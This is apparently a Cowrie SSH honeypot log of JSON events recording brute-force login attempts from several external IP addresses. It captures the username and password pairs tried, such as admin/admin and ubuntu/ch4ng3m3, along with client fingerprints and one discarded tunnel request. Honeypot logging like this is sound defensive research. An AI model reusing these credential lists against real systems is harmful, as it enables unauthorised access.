{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:42.127081Z","src_ip":"14.225.205.58","session":"d1c3e935692a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":47964,"dst_ip":"159.203.135.109","dst_port":22,"session":"95a68f94d550","protocol":"ssh","message":"New connection: 14.225.205.58:47964 (159.203.135.109:22) [session: 95a68f94d550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:42.367511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:42.372000Z","src_ip":"14.225.205.58","session":"95a68f94d550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:42.624011Z","src_ip":"14.225.205.58","session":"95a68f94d550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:43.664016Z","src_ip":"14.225.205.58","session":"95a68f94d550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:44.921203Z","src_ip":"14.225.205.58","session":"95a68f94d550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":47968,"dst_ip":"159.203.135.109","dst_port":22,"session":"1203aa5ffd7a","protocol":"ssh","message":"New connection: 14.225.205.58:47968 (159.203.135.109:22) [session: 1203aa5ffd7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:45.170299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:45.179600Z","src_ip":"14.225.205.58","session":"1203aa5ffd7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:45.437365Z","src_ip":"14.225.205.58","session":"1203aa5ffd7a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:46.499587Z","src_ip":"14.225.205.58","session":"1203aa5ffd7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:46.760311Z","src_ip":"14.225.205.58","session":"1203aa5ffd7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:05:46.767341Z","src_ip":"14.225.205.58","session":"d1c3e935692a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":44010,"dst_ip":"10.17.0.5","dst_port":22,"session":"abda0ff49309","protocol":"ssh","message":"New connection: 87.251.64.176:44010 (10.17.0.5:22) [session: abda0ff49309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:06.975565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:06.980607Z","src_ip":"87.251.64.176","session":"abda0ff49309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:07.076943Z","src_ip":"87.251.64.176","session":"abda0ff49309","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:07.365121Z","src_ip":"87.251.64.176","session":"abda0ff49309","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:07.463960Z","session":"abda0ff49309","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:07.561590Z","src_ip":"87.251.64.176","session":"abda0ff49309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:07.664831Z","src_ip":"87.251.64.176","session":"abda0ff49309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":44320,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb5ef5d1438c","protocol":"ssh","message":"New connection: 80.94.92.186:44320 (10.17.0.5:22) [session: fb5ef5d1438c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:23.021013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:23.295320Z","src_ip":"80.94.92.186","session":"fb5ef5d1438c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:23.299390Z","src_ip":"80.94.92.186","session":"fb5ef5d1438c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"fuckyou","message":"login attempt [solana/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:24.414990Z","src_ip":"80.94.92.186","session":"fb5ef5d1438c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:25.650344Z","src_ip":"80.94.92.186","session":"fb5ef5d1438c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":55406,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfc9bed85d83","protocol":"ssh","message":"New connection: 14.225.205.58:55406 (159.203.135.109:22) [session: dfc9bed85d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:40.184036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:40.188708Z","src_ip":"14.225.205.58","session":"dfc9bed85d83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:40.447515Z","src_ip":"14.225.205.58","session":"dfc9bed85d83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ch4ng3m3","message":"login attempt [ubuntu/ch4ng3m3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:41.513814Z","src_ip":"14.225.205.58","session":"dfc9bed85d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:42.777189Z","src_ip":"14.225.205.58","session":"dfc9bed85d83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":38884,"dst_ip":"10.17.0.5","dst_port":22,"session":"55e1c167d130","protocol":"ssh","message":"New connection: 58.186.20.143:38884 (10.17.0.5:22) [session: 55e1c167d130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:45.833009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:45.839277Z","src_ip":"58.186.20.143","session":"55e1c167d130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:46.085398Z","src_ip":"58.186.20.143","session":"55e1c167d130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser001","password":"ftpuser001","message":"login attempt [ftpuser001/ftpuser001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:47.099826Z","src_ip":"58.186.20.143","session":"55e1c167d130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:48.349398Z","src_ip":"58.186.20.143","session":"55e1c167d130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":42500,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9eb67607402","protocol":"ssh","message":"New connection: 101.47.159.125:42500 (159.203.135.109:22) [session: a9eb67607402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:57.117691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:57.121865Z","src_ip":"101.47.159.125","session":"a9eb67607402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:57.360296Z","src_ip":"101.47.159.125","session":"a9eb67607402","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testtest1","message":"login attempt [test/testtest1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:58.344089Z","src_ip":"101.47.159.125","session":"a9eb67607402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:06:59.585881Z","src_ip":"101.47.159.125","session":"a9eb67607402","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":51400,"dst_ip":"10.17.0.5","dst_port":22,"session":"44e13aedef61","protocol":"ssh","message":"New connection: 160.251.185.39:51400 (10.17.0.5:22) [session: 44e13aedef61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:08.881870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:08.886248Z","src_ip":"160.251.185.39","session":"44e13aedef61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:09.074390Z","src_ip":"160.251.185.39","session":"44e13aedef61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwerty","message":"login attempt [git/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:09.831431Z","src_ip":"160.251.185.39","session":"44e13aedef61","protocol":"ssh"}
